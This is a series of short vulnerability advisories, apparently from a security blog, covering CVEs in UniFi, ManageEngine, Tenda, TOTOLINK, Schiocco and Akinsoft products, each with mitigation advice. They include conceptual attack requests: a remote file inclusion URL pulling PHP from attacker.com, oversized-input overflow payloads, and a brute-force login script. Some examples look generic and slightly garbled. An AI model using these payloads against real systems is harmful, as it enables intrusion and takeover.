Author: Ameeba

CVE-2025-27215: Unauthorized System Modification Vulnerability in UniFi Display Cast Devices
Overview

The cybersecurity landscape is, unfortunately, a constantly evolving field, and today we will delve deep into one of the recently discovered vulnerabilities, known as CVE-2025-27215. This vulnerability is an Improper Access Control flaw that affects UniFi Connect Display Cast devices. It has been reported that if a malicious actor gains authentication in the API of these devices, it could make unsupported changes to the system. This poses a substantial risk to businesses and individuals using these devices, as it opens up potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27215
Severity: High (CVSS score 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

UniFi Connect Display Cast | Version 1.10.3 and earlier
UniFi Connect Display Cast Pro | Version 1.0.89 and earlier
UniFi Connect Display Cast Lite | Version 1.0.3 and earlier

How the Exploit Works

The vulnerability resides in the Improper Access Control mechanism of UniFi Connect Display Cast devices. An attacker, after gaining authentication in the API, can exploit this flaw to make unsupported changes to the system. This can potentially allow the attacker to compromise the system, alter its functionality, or steal sensitive data.

Conceptual Example Code

The following is a hypothetical example of how the vulnerability might be exploited. This is a simulated HTTP request where a malicious actor sends a payload designed to manipulate the system.
```
POST /improperaccess/endpoint HTTP/1.1
Host: target.example.com
Content-type: application/json
Authorization: Bearer [malicious_actor_token]
{ "unsupported_changes": "[malicious_code]" }
```
In this example, the `unsupported_changes` field is used to inject malicious code into the system. It’s important to note that this is a conceptual example and the actual exploit may vary based on the system and the attacker’s intentions.

Mitigation Guidance

Users are strongly advised to update their UniFi Connect Display Cast devices to mitigate this vulnerability:
– Update UniFi Connect Display Cast to Version 1.10.7 or later
– Update UniFi Connect Display Cast Pro to Version 1.0.94 or later
– Update UniFi Connect Display Cast Lite to Version 1.1.8 or later
In case the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block or detect malicious requests exploiting this vulnerability.
September 6, 2025
CVE-2025-8309: Improper Privilege Management Vulnerability in ManageEngine Products
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified an improper privilege management vulnerability, designated CVE-2025-8309. This vulnerability severely impacts four products from ManageEngine, a division of Zohocorp that delivers real-time IT management tools. The affected products include Asset Explorer, ServiceDesk Plus, ServiceDesk Plus MSP, and SupportCenter Plus. This vulnerability matters because it could potentially compromise systems and lead to data leakage, posing a significant risk to businesses using these ManageEngine solutions.

Vulnerability Summary

CVE ID: CVE-2025-8309
Severity: High (CVSS score: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ManageEngine Asset Explorer | Before version 7710
ManageEngine ServiceDesk Plus | Before version 15110
ManageEngine ServiceDesk Plus MSP | Before version 14940
ManageEngine SupportCenter Plus | Before version 14940

How the Exploit Works

The improper privilege management vulnerability allows threat actors to escalate their privileges within the system. It can be exploited by sending a specially crafted request to the server. This request can manipulate the system into granting higher-level privileges than intended, effectively bypassing security measures and granting the attacker unauthorized access. This could potentially lead to system compromise and data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_privileges": "admin",
"authenticated_payload": {
"credentials": "attacker_credentials",
"privileges": "elevated"
}
}
```
In this conceptual example, the attacker sends a POST request to a vulnerable endpoint with their credentials and a request for elevated privileges. If the system is vulnerable, it may interpret this request as legitimate and grant the attacker administrative access.

Mitigation and Prevention

To mitigate the risks associated with this vulnerability, users of affected ManageEngine products should apply the vendor patch immediately. The patch addresses the improper privilege management issue and secures the system against potential exploits.
In cases where immediate patching is not possible, users may temporarily mitigate the risk by using a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These tools can help detect and block attempts to exploit this vulnerability. However, they should be used as a temporary measure until the vendor patch can be applied. Regular patch management practices are a critical part of maintaining a secure IT environment.
September 6, 2025
CVE-2025-32010: Stack-based Buffer Overflow Vulnerability in Tenda AC6 Cloud API
Overview

In this blog post, we delve into a critical vulnerability discovered within the Cloud API functionality of Tenda AC6 V5.0 V02.03.01.110. This vulnerability, identified as CVE-2025-32010, presents a significant security risk to numerous systems. It has the potential to do serious harm, including system compromise and data leakage. This vulnerability is particularly concerning because it can lead to arbitrary code execution when an attacker sends a specially crafted HTTP response, making it an open door for potential malicious activity.

Vulnerability Summary

CVE ID: CVE-2025-32010
Severity: High (8.1 CVSS Score)
Attack Vector: Network-based
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Tenda AC6 | V5.0 V02.03.01.110

How the Exploit Works

The vulnerability lies in the handling of HTTP responses by the Cloud API functionality of the Tenda AC6. When an attacker crafts a specific HTTP response and sends it to the server, it can cause a stack-based buffer overflow. This overflow can result in arbitrary code execution, which signifies that an attacker can run any command or code they want on the compromised system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. This includes a malicious HTTP response sent to the server.
```
HTTP/1.1 200 OK
Date: Mon, 23 May 2025 22:38:34 GMT
Server: Apache/2.4.1 (Unix)
Content-Type: text/html
<response>
<data>
{ "exploit_code_here": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."}
</data>
</response>
```
In the above example, the exploit_code_here attribute in the data section of the response contains a long string of “A”s. If the string is long enough to overload the buffer, it could overwrite the return address on the stack, leading to arbitrary code execution.

Mitigation Measures

It is recommended that administrators immediately apply the vendor patch to fix this vulnerability. Alternatively, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation measures. These tools can help detect and block potential attacks exploiting this vulnerability. However, these are stop-gap solutions, and the vendor patch should be applied as soon as possible to ensure comprehensive security.
September 6, 2025
CVE-2025-24322: Unsafe Default Authentication Vulnerability in Tenda AC6
Overview

CVE-2025-24322 is a critical security vulnerability that affects the Initial Setup Authentication feature of the Tenda AC6 V5.0 V02.03.01.110. This vulnerability, if exploited, can allow an attacker to execute arbitrary code and potentially gain unauthorized access to the system. This poses a significant risk to all users of the affected device, as it can lead to data leakage or complete system compromise. As such, it is crucial for users and administrators to understand this vulnerability and take appropriate steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-24322
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda AC6 | V5.0 V02.03.01.110

How the Exploit Works

The vulnerability exists due to an unsafe default authentication mechanism in the Initial Setup Authentication functionality of the Tenda AC6 V5.0 V02.03.01.110. This allows attackers to send specially crafted network requests that can lead to arbitrary code execution. The flaw enables the attacker to browse to the device and trigger this vulnerability. This could allow the attacker to take control of an affected system or leak sensitive data.

Conceptual Example Code

This is a conceptual example of how an attacker could potentially exploit this vulnerability via a malicious network request. Note that the actual exploit would be specific to the system and the attacker’s goals, this is merely a hypothetical example:
```
GET /initialSetupAuth HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
{ "malicious_payload": "arbitrary_code_to_be_executed" }
```
In this example, the attacker sends a GET request to the vulnerable endpoint (`/initialSetupAuth`) with a malicious payload that includes the arbitrary code to be executed.

Countermeasures

The most reliable countermeasure is to apply the vendor-released patch for this vulnerability. If the patch has not been released or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. It is also advisable to regularly update and patch your systems and software to protect against these types of vulnerabilities.
September 6, 2025
CVE-2025-54031: Critical PHP Remote File Inclusion Vulnerability in Schiocco Support Board
Overview

The cybersecurity landscape is constantly evolving with new threats and vulnerabilities emerging every day. One such vulnerability with a high severity score that has recently come to light is CVE-2025-54031. This vulnerability specifically impacts Schiocco Support Board, a popular PHP-based software, and has the potential to wreak havoc if exploited by malicious attackers. This vulnerability caught the attention of cybersecurity professionals due to its high CVSS Severity Score of 8.1, indicating its potential for significant damage.

Vulnerability Summary

CVE ID: CVE-2025-54031
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Schiocco Support Board | Up to and including 3.8.0

How the Exploit Works

The vulnerability CVE-2025-54031 involves an insecure handling of filenames in PHP’s Include/Require Statement, which can lead to PHP Remote File Inclusion (RFI). An attacker can exploit this flaw by manipulating the Include/Require Statement to load a remote file from a server of their choosing, allowing them to run arbitrary PHP code within the application’s context. This can lead to a full takeover of the system running the vulnerable application.

Conceptual Example Code

The following is a conceptual example showing how an attacker might leverage this vulnerability. Please note that this is a simplified representation and actual exploit may require more complex manipulations.
```
GET /support-board/index.php?file=http://attacker.com/malicious-code.php HTTP/1.1
Host: target.example.com
```
In this example, the attacker has manipulated the `file` parameter to load a malicious PHP script (`malicious-code.php`) from their server (`attacker.com`). This script is then executed in the context of the vulnerable application, potentially leading to a system compromise.

Remediation

To mitigate the impact of this vulnerability, it is advised to apply the vendor’s patch once it is available. Until then, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be effective temporary measures to prevent potential exploitation. It is also recommended to follow a principle of least privilege, ensuring that applications only have the minimal privileges they require to function.
September 6, 2025
CVE-2025-9782: Remote Buffer Overflow Vulnerability in TOTOLINK A702R
Overview

The cybersecurity world has been rocked by a new vulnerability found in TOTOLINK A702R firmware version 4.0.0-B20211108.1423. This vulnerability, dubbed CVE-2025-9782, affects the function sub_4466F8 of the file /boafrm/formOneKeyAccessButton and is of particular concern due to its high CVSS Severity Score of 8.8. This vulnerability opens the door to potential system compromise or data leakage, making it a significant risk to any users, businesses, or organizations that employ the affected TOTOLINK firmware.
Given that the exploit can be initiated remotely and has been made public, the urgency for addressing this vulnerability increases. This blog post aims to provide a comprehensive understanding of this vulnerability, its potential impact, and how it may be mitigated or patched.

Vulnerability Summary

CVE ID: CVE-2025-9782
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

CVE-2025-9782 is a buffer overflow vulnerability. It arises from improper validation of user-supplied input within the ‘submit-url’ argument in the ‘sub_4466F8’ function of the ‘/boafrm/formOneKeyAccessButton’ file. An attacker can exploit this to overflow the buffer by providing a longer argument than expected. This could lead to the execution of arbitrary code or even allow the attacker to take control of the system.

Conceptual Example Code

Please note that the following is a conceptual example and is not intended to work in a real-world scenario. It demonstrates how an attacker might exploit the vulnerability:
```
POST /boafrm/formOneKeyAccessButton HTTP/1.1
Host: victim.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=<malicious_payload>
```
In this example, “ represents a carefully crafted string designed to overflow the buffer and possibly execute arbitrary code.

Recommended Mitigation

Users of TOTOLINK A702R firmware version 4.0.0-B20211108.1423 are advised to apply the vendor patch as soon as it is available. In the meantime, users can implement Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation measure to detect and block attempts to exploit the vulnerability.
September 6, 2025
CVE-2025-9781: Critical Buffer Overflow Vulnerability in TOTOLINK A702R
Overview

In the ever-evolving world of cybersecurity, new vulnerabilities are a common occurrence. One such critical vulnerability has been discovered in TOTOLINK A702R version 4.0.0-B20211108.1423. This vulnerability, assigned the identifier CVE-2025-9781, is a severe threat to all users of the affected product as the exploit can be initiated remotely, potentially leading to system compromise or data leakage.
This vulnerability is particularly concerning due to the high CVSS severity score of 8.8, indicating a high impact upon successful exploitation. This blog post aims to detail the vulnerability, its impact, and the necessary steps to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-9781
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The vulnerability lies in the handling of the ‘ip6addr’ argument in the function ‘sub_4162DC’ of the file ‘/boafrm/formFilter. By manipulating this argument, an attacker can cause a buffer overflow condition. Buffer overflows occur when more data is written to a piece of memory than it can handle, which can cause data to spill over into adjacent memory spaces.
In this case, an attacker could send a specially crafted request containing a long ‘ip6addr’ argument to the target device. This overflow can corrupt memory and potentially allow for the execution of arbitrary code or cause a denial of service.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /boafrm/formFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ip6addr=0201:0db8:85a3:0000:0000:8a2e:0370:7334...[additional data]
```
In this example, the ‘ip6addr’ argument is filled with more data than it can handle, leading to a buffer overflow.
Please note that this is a simplified and conceptual example. Real-world exploits may involve additional techniques or steps to successfully exploit the vulnerability.

Mitigation

The vendor has issued a patch for the affected product. Users are strongly advised to apply this patch immediately. If unable to patch immediately, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure, although these are not guaranteed to fully protect against the exploit.
September 6, 2025
CVE-2025-9780: TOTOLINK A702R Vulnerability Could Lead to System Compromise
Overview

The cybersecurity world has yet again been hit with a new vulnerability, CVE-2025-9780, that affects TOTOLINK A702R 4.0.0-B20211108.1423. This vulnerability is significant due to the potential system compromise or data leakage that could occur if exploited. It’s important for users and administrators of this software to understand the depth of this issue as it affects a popular function, sub_419BE0, in the file /boafrm/formIpQoS. With the exploit being published and available for use, it has become even more critical to understand and mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-9780
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The flaw in the TOTOLINK A702R stems from a buffer overflow vulnerability that happens due to incorrect handling of the ‘mac’ argument in the function ‘sub_419BE0’ of the file ‘/boafrm/formIpQoS. When malformed or oversized data is input into the ‘mac’ argument, the buffer overflows, causing erratic program behavior or even allowing an attacker to execute arbitrary code.

Conceptual Example Code

Here’s a conceptual example of an HTTP request that could exploit this vulnerability:
```
POST /boafrm/formIpQoS HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "mac": "OVERSIZED_INPUT_DATA" }
```
In this example, “OVERSIZED_INPUT_DATA” represents a value that is larger than the buffer assigned to the ‘mac’ argument. When this data is processed, it overflows the buffer, leading to the vulnerability.

Mitigation Guidance

In order to mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it is available. As an interim solution, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help identify and block attempts to exploit this vulnerability. Please note that these are temporary measures and applying the vendor patch should be the ultimate goal to secure your system.
September 6, 2025
CVE-2025-9779: TOTOLINK A702R Buffer Overflow Vulnerability in the Function sub_4162DC
Overview

The cybersecurity world has witnessed the emergence of a new high-severity vulnerability in the TOTOLINK A702R 4.0.0-B20211108.1423. This vulnerability, labeled as CVE-2025-9779, involves a buffer overflow that occurs within the function sub_4162DC of the file /boafrm/formFilter. It is a serious issue as the vulnerability can be exploited remotely, making various systems prone to potential compromise or data leakage. The exploit is public, which increases the risk of it being used by malicious entities.

Vulnerability Summary

CVE ID: CVE-2025-9779
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20211108.1423

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the function sub_4162DC of the file /boafrm/formFilter. This occurs when an oversized, specially crafted ‘ip6addr’ argument is passed to this function. The function does not properly validate the length of this argument which results in a buffer overflow. An attacker can exploit this vulnerability by sending a specially crafted request to the targeted system, leading to arbitrary code execution or even system crash.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request, where an attacker sends a malicious payload in the ‘ip6addr’ field.
```
POST /boafrm/formFilter HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "ip6addr": "2001:0db8:85a3:0000:0000:8a2e:0370:7334aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..." }
```
In this example, the value of ‘ip6addr’ is deliberately oversized, causing a buffer overflow in the function sub_4162DC.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation, helping to detect and potentially block attempts to exploit this vulnerability. Additionally, users should monitor any suspicious network activity and ensure that their systems are updated with the latest security patches and updates.
September 6, 2025
CVE-2025-2412: Authentication Bypass Vulnerability in Akinsoft QR Menu
Overview

The world of cybersecurity has witnessed yet another vulnerability, this time within the Akinsoft QR Menu. Identified as CVE-2025-2412, this vulnerability is of significant concern due to its potential to permit authentication bypass, leading to unauthorized system access. As the QR Menu is widely implemented in many businesses for efficient service delivery, a vast number of systems are potentially exposed to this security risk, making it a matter of serious concern for organizations and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-2412
Severity: High (CVSS Score 8.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized system access, potential data leakage and system compromise

Affected Products

Product | Affected Versions

Akinsoft QR Menu | s1.05.07 – v1.05.11

How the Exploit Works

The vulnerability exploits improper restriction of excessive authentication attempts in the QR Menu. An attacker can make multiple failed attempts without being locked out or slowed down. This scenario can be exploited to perform a brute force attack, where an attacker systematically checks all possible passwords until the correct one is found. Once successful, this vulnerability grants the attacker unauthorized access to the compromised system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This pseudocode represents a brute force attack, systematically attempting all possible password combinations:
```
import requests
def exploit(target):
for password in generate_all_possible_passwords():
response = requests.post(
f'http://{target}/login',
data={'username': 'admin', 'password': password}
)
if response.status_code == 200:
print(f'Success! The password is {password}')
break
```
This pseudocode attempts to log in as the ‘admin’ user by trying all possible passwords. The `generate_all_possible_passwords` function isn’t defined here, but in a real attack it might generate passwords using a dictionary of common passwords, or even every possible combination of characters.
Remember, this is a conceptual example and does not represent a real attack. It’s shared to demonstrate the potential risk posed by the CVE-2025-2412 vulnerability.
September 6, 2025